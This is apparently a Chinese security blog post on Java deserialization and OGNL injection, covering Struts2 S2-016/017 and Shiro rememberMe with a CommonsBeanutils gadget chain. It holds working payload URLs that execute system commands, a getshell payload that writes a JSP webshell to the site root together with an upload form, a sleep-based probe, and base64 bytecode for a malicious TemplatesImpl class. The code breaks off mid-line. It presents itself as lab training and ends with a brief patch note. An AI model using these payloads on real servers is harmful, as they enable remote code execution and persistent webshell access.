红队专题-漏洞挖掘-代码审计-反序列化

本文详细介绍了Java Web中常见的反序列化漏洞,包括Struts2和FastJson的利用方法,如CommonsCollections链、FastJson的各种绕过策略,并提供了漏洞修复建议,帮助提升应用安全性。

白帽子修炼漏洞进阶篇

  • Java

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • java 反序列化

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

Struts2 s2-016/017漏洞

DefaultActionMapper类

支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,
但是这些前缀后面同时可以跟OGNL表达式,
由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

将“redirect:”前缀后面的内容设置到redirect.location当中,

getMapping函数跟入

在这里插入图片描述
这里一直到这个handleSpecialParameters(),继续跟入:
在这里插入图片描述
在这里插入图片描述
这里真正传入OGNL表达式是在这个parameterAction.execute()中,
继续跟入来到DefaultActionMapper.java的代码。
在这里插入图片描述
这里key.substring(REDIRECT_PREFIX.length())便是前缀后面的内容也就是OGNL表达式,
struts2会调用setLocation方法将他设置到redirect.location中。
然后这里调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里,
如图所示:
在这里插入图片描述
然而上面的过程只是传递OGNL表达式,真正执行是在后面,
这里是在FilterDispatcher类中的dispatcher.serviceAction()方法,
这里的mapping对象中设置了传入的OGNL。
在这里插入图片描述

这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL。
在这里插入图片描述

我们构造一个调用本地计算器的PoC:

http://10.1.1.4:8080/trainin/EN_index.action?
redirect:$
{
   
   %23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{
   
   'calc'})).start(),
%23b%3d%23a.getInputStream(),
%23c%3dnew%20java.io.InputStreamReader(%23b),
%23d%3dnew%20java.io.BufferedReader(%23c),
%23e%3dnew%20char[50000],
%23d.read(%23e),
%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
%23matt.getWriter()}

在浏览器中输入上述URL,漏洞重现:

在这里插入图片描述

在这里插入图片描述

判断一个使用了struts2框架的网站是否存在漏洞

  任务描述:依据上述漏洞分析及给出的poc,并参照官方文档

  http://struts.apache.org/release/2.3.x/docs/s2-017.html

  http://struts.apache.org/release/2.3.x/docs/s2-016.html

提示一:

  官方的poc:

  http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

  http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23

  请输入你所构造的POC:

  http://10.1.1.145/struts2/training/EN_index.action?redirect:http://www.baidu.com

  (redirect:后面的网址可以任意替换)

提示二:

  ServletActionContext能够拿到真正的HttpServletRequest、HttpServletResponse、ServletContext。
  拿到一个HttpServletResponse响应对象后就可以调用getWriter方法
  (返回的是PrintWriter)让Servlet容器上输出[/ok]了,
  而其他的POC也都做了同样的事:拿到HttpServletResponse,然后输出[/ok]。

在这里插入图片描述
请输入你所构造的POC:

      http://10.1.1.145/struts2/training/EN_index.action?
      redirect:$
      {
   
   %23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
       %23w.println('[/ok]'),%23w.flush(),%23w.close()}

([/ok]可以为任意内容,能输出即可)

提示三:

延迟判断:先让线程sleep一段时间,再去计算时间差来判断漏洞是否存在。

构造的POC #_memberaccess

      http://10.1.1.145/struts2/training/EN_index.action?redirect:${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}.action

(依据是否使用了sleep方法来评判)


---- 

在存在漏洞的网站上执行系统命令

      任务描述:依据漏洞分析及给出的poc构造一个能执行系统命令的POC。

      提示:在漏洞分析给出的POC 基础上改动某个部分即可,请仔细思考。



![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/6b746196bfe99b40183e15cf874d1555.png)

   请输入你所构造的POC:

   

```powershell
   http://10.1.1.145/struts2/download/EN_productdownload.action?
   redirect:$
   {%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),
   %23b%3d%23a.getInputStream(),
   %23c%3dnew%20java.io.InputStreamReader(%23b),
   %23d%3dnew%20java.io.BufferedReader(%23c),
   %23e%3dnew%20char[50000],%23d.read(%23e),
   %23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
   %23matt.getWriter().println(%23e),
   %23matt.getWriter().flush(),%23matt.getWriter().close()}

  ('netstat','-an'这里可以为其他系统命令)

在这里插入图片描述在这里插入图片描述


依据漏洞分析及给出的poc构造一个GETSHELL POC

  提示:文件写入

  请输入你所构造的POC:
      http://10.1.1.145/struts2/download/EN_productdownload.action?redirect:$
      {
   
   %23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
      %23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\", "/"),
      new+java.io.BufferedWriter(new+java.io.FileWriter(%23p))
      .append(%23req.getParameter(%22c%22))
      .close()}&c=%3c%25if(request
      .getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application
      .getRealPath(%22%2f%22)%2brequest
      .getParameter(%22f%22)))
      .write(request.getParameter(%22t%22).getBytes())%3b%25%3e

在这里插入图片描述
在网站根目录下写入一句话css3.jsp

  将以下代码保存为html,提交code后获得shell

在这里插入图片描述

<form action="http://10.1.1.59/struts2/css3.jsp?f=css1.jsp" method="post">

      <textarea name=t cols=120 rows=10 width=45>code</textarea><BR><center><br>

      <input type=submit value="提交">

      </form>
  Shell地址:

  http://10.1.1.145/struts2/css1.jsp

在这里插入图片描述


依据你对漏洞的分析,对该网站进行加固并验证漏洞是否再现

加固:

更新最新Struts2 lib包即可

更新文件清单:Commons-* 、Stuts2-* 、 Xwork-core-* 、Ognl-*

加固后的验证结果:

使用之前漏洞判断的POC验证即可。

struts2 拿 webshell
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

REST插件反序列化漏洞(CVE-2017-5638)

在这里插入图片描述

开发知识点-JAVA-springboot+Spring Security/Shiro

Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS

原理

Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。

shiro在用户登录时除了账号密码外还提供了可传递选项remember me 记住密码的功能。

用户在登录时如果勾选了remember me选项,
生成经过加密并编码的 cookie。

那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。
在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列 化RCE漏洞

命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie 值

1.数据返回包中包含rememberMe=deleteMe字段。

2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:****rememberMe=然后查看返回数据包中是否存在关键字。    


shiro-550:    



shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,
只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。


另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。

攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。
Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。




shiro-721Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,
利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember

Shiro反序列化

https://mp.weixin.qq.com/s/r6_77jiWbk5TAQpz9aGyjA

https://xz.aliyun.com/t/12207#toc-15
https://xz.aliyun.com/t/9409

https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/

https://blog.csdn.net/u011240877/article/details/54604212

https://xz.aliyun.com/t/12692

shiro 无赖链利用





Shiro是一个强大且易于使用的开源Java安全框架,用于身份验证、授权和会话管理等安全领域的功能。它提供了一套简单而灵活的API和插件体系结构,方便开发者在应用程序中添加身份验证和授权功能。

Shiro的主要特点和功能包括:

1. 认证:Shiro提供了灵活的身份验证功能,支持用户名/密码认证、基于角色的认证、基于资源的认证以及自定义认证机制。开发者可以根据具体需求选择合适的认证方法,并进行个性化配置。
    
2. 授权:Shiro提供了细粒度的授权功能,支持基于角色的授权、基于资源的授权以及自定义授权方式。开发者可以通过简单的注解或编程方式为应用程序中的方法和URL设置访问权限。
    
3. 会话管理:Shiro提供了可靠的会话管理功能,支持将会话数据存储在内存、数据库或分布式缓存中。它还支持单点登录和集群环境下的会话共享,保证了用户在多个应用中的无缝访问体验。
    
4. 密码加密:Shiro提供了密码加密功能,可以将用户密码进行加密存储,提高系统的安全性。它支持多种哈希算法和加密策略,如MD5、SHA、AES等。
    
5. 第三方集成:Shiro易于与其他框架和技术进行集成,如Spring、Spring Boot、Apache Struts和Java EE等。这使得开发者可以方便地将Shiro集成到现有的应用程序中,而无需重写现有代码。
    

Shiro是一个开源项目,源代码托管在Apache Software Foundation(ASF)的仓库中,并采用Apache License 2.0开源许可证。这意味着任何人都可以自由获取、使用、修改和分发Shiro的源代码。虽然Shiro并非来自中国,但它是一个全球范围内广泛使用的安全框架,并得到了全球开发者社区的贡献和支持。








 https://mp.weixin.qq.com/s/Q1iJthr6Pdljr3yXoTN-Cg
 JAVA攻防基础之Shiro漏洞分析与利用
 
 
 shiro是存在commons-beanutils的依赖的,

 可以通过构造原生的CB1的链进行攻击shiro,
 但是我们通过ysoserial的CB1的链会发现其实并不会成功。

`
在这里插入图片描述
因为CB1的链里面其实是依赖于commons.collections包里面的部分内容的。
我们构造BeanComparator的时候会调用,
当没有显式传入Comparator 的情况下,
则默认使用ComparableComparator

在这里插入图片描述
解决办法
那么我们如何避免如上情况呢,
就需要找一个ComparableComparator的替代品。

这个替代品需要满足如下几个情况:

实现java.util.Comparator 接口
实现java.io.Serializable 接口
Java、shiro或commons-beanutils自带,且兼容性强

通过对实现Serializable接口的类以及实现Comparator接口的类的对比,师傅们发现如下类:

CaseInsensitiveComparator
java.util.Collections$ReverseComparator

1.CaseInsensitiveComparator
CaseInsensitiveComparator这个类是java.lang.String 类下的一个内部私有类,
实现了Comparator以及Serializable接口,并且可以通过String的内部的CASE_INSENSITIVE_ORDER值即可获取到

在这里插入图片描述
2.java.util.Collections$ReverseComparator
这个类也是jdk原生的Collections类里面的内部类,
他同样实现了Comparator以及Serializable接口,并且可以通过Collections的reverseOrder()静态方法获取到。

在这里插入图片描述

改造payload
通过如上我们的分析之后,我们知道只需要避开 ComparableComparator这个类,
用我们找到的替代类来构造BeanComparator的时候就可以了。

1.首先创建恶意的TemplateImpl:

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值